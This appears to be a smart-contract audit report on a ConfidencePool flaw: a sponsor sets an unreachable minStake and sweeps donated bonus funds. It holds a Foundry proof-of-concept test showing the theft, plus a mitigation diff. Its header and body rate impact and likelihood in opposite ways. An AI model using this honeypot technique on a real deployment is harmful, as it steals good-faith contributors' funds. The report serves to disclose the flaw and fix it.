FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: low
Likelihood: high

Sponsor Can Create a Honeypot Pool by Setting an Unreachable `minStake`, Stealing All Bonus Contributions

Author Revealed upon completion

Root + Impact

Description

  • The initialize function sets an immutable minStake based on the deployer's input without enforcing any upper bound limits.

  • A malicious sponsor can set minStake to type(uint256).max, permanently blocking legitimate stakers while still accepting external donations via contributeBonus(). When the pool expires with zero stakers, the sponsor cleanly sweeps 100% of the trapped bonus.

// ConfidencePool.sol
function initialize(..., uint256 minStake_, ...) external initializer {
// @> No upper bound validation exists
if (minStake_ == 0) revert InvalidAmount();
minStake = minStake_;
...
}
function sweepUnclaimedBonus() external {
// @> If totalEligibleStake remains 0, ALL bonus routes to recoveryAddress
uint256 amount = totalBonus;
if (totalEligibleStake != 0) {
amount -= _bonusShare(address(0), totalEligibleStake);
}
if (amount != 0) stakeToken.safeTransfer(recoveryAddress, amount);
emit BonusSwept(msg.sender, recoveryAddress, amount);
}

Risk

Likelihood: Low

  • Sponsor deploys a pool with a functionally impossible minStake.

  • Contributors donate via contributeBonus() without verifying the pool's parameters.

Impact: High

  • Direct theft of funds from good-faith bonus contributors.

  • Sponsor permissionlessly sweeps 100% of the bonus pool via sweepUnclaimedBonus().

Proof of Concept

  1. Sponsor initializes a pool with minStake_ = type(uint256).max.

  2. Victim calls contributeBonus() to donate funds.

  3. Legitimate stakers cannot enter; stake() reverts with BelowMinStake().

  4. At expiration, totalEligibleStake == 0, allowing the sponsor to route the entire bonus balance to their recoveryAddress via sweepUnclaimedBonus().

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
contract FakePoolHoneypotTest is BaseConfidencePoolTest {
function testSponsorHoneypotViaMaxMinStake() external {
address sponsor = makeAddr("sponsor");
address recovery = makeAddr("recovery");
address victim = makeAddr("victim");
uint256 poolExpiry = BASE_TIMESTAMP + 30 days;
ConfidencePool impl = new ConfidencePool();
address honeypotAddr = Clones.clone(address(impl));
vm.prank(sponsor);
ConfidencePool(honeypotAddr).initialize(
agreement, address(token), address(safeHarborRegistry), moderator,
poolExpiry, type(uint256).max, recovery, sponsor, _defaultScope()
);
ConfidencePool honeypotPool = ConfidencePool(honeypotAddr);
// Victim donates 5000 tokens
uint256 bonusAmount = 5000e18;
token.mint(victim, bonusAmount);
vm.startPrank(victim);
token.approve(address(honeypotPool), bonusAmount);
honeypotPool.contributeBonus(bonusAmount);
vm.stopPrank();
// Normal staker is blocked
token.mint(alice, 100e18);
vm.startPrank(alice);
token.approve(address(honeypotPool), 100e18);
vm.expectRevert(); // Reverts: 100e18 < type(uint256).max
honeypotPool.stake(100e18);
vm.stopPrank();
// Expire and sweep
vm.warp(poolExpiry);
honeypotPool.claimExpired();
honeypotPool.sweepUnclaimedBonus();
// Bonus successfully stolen by sponsor
assertEq(token.balanceOf(recovery), bonusAmount);
assertEq(token.balanceOf(victim), 0);
}
}

Recommended Mitigation

Enforce a protocol-wide upper bound constraint for minStake during initialization to prevent the creation of un-stakeable honeypots.

+ uint256 public constant MAX_MIN_STAKE = 1_000_000e18;
function initialize(
address agreement_,
...
uint256 minStake_,
...
) external initializer {
...
- if (minStake_ == 0) revert InvalidAmount();
+ if (minStake_ == 0 || minStake_ > MAX_MIN_STAKE) revert InvalidAmount();
minStake = minStake_;
...
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!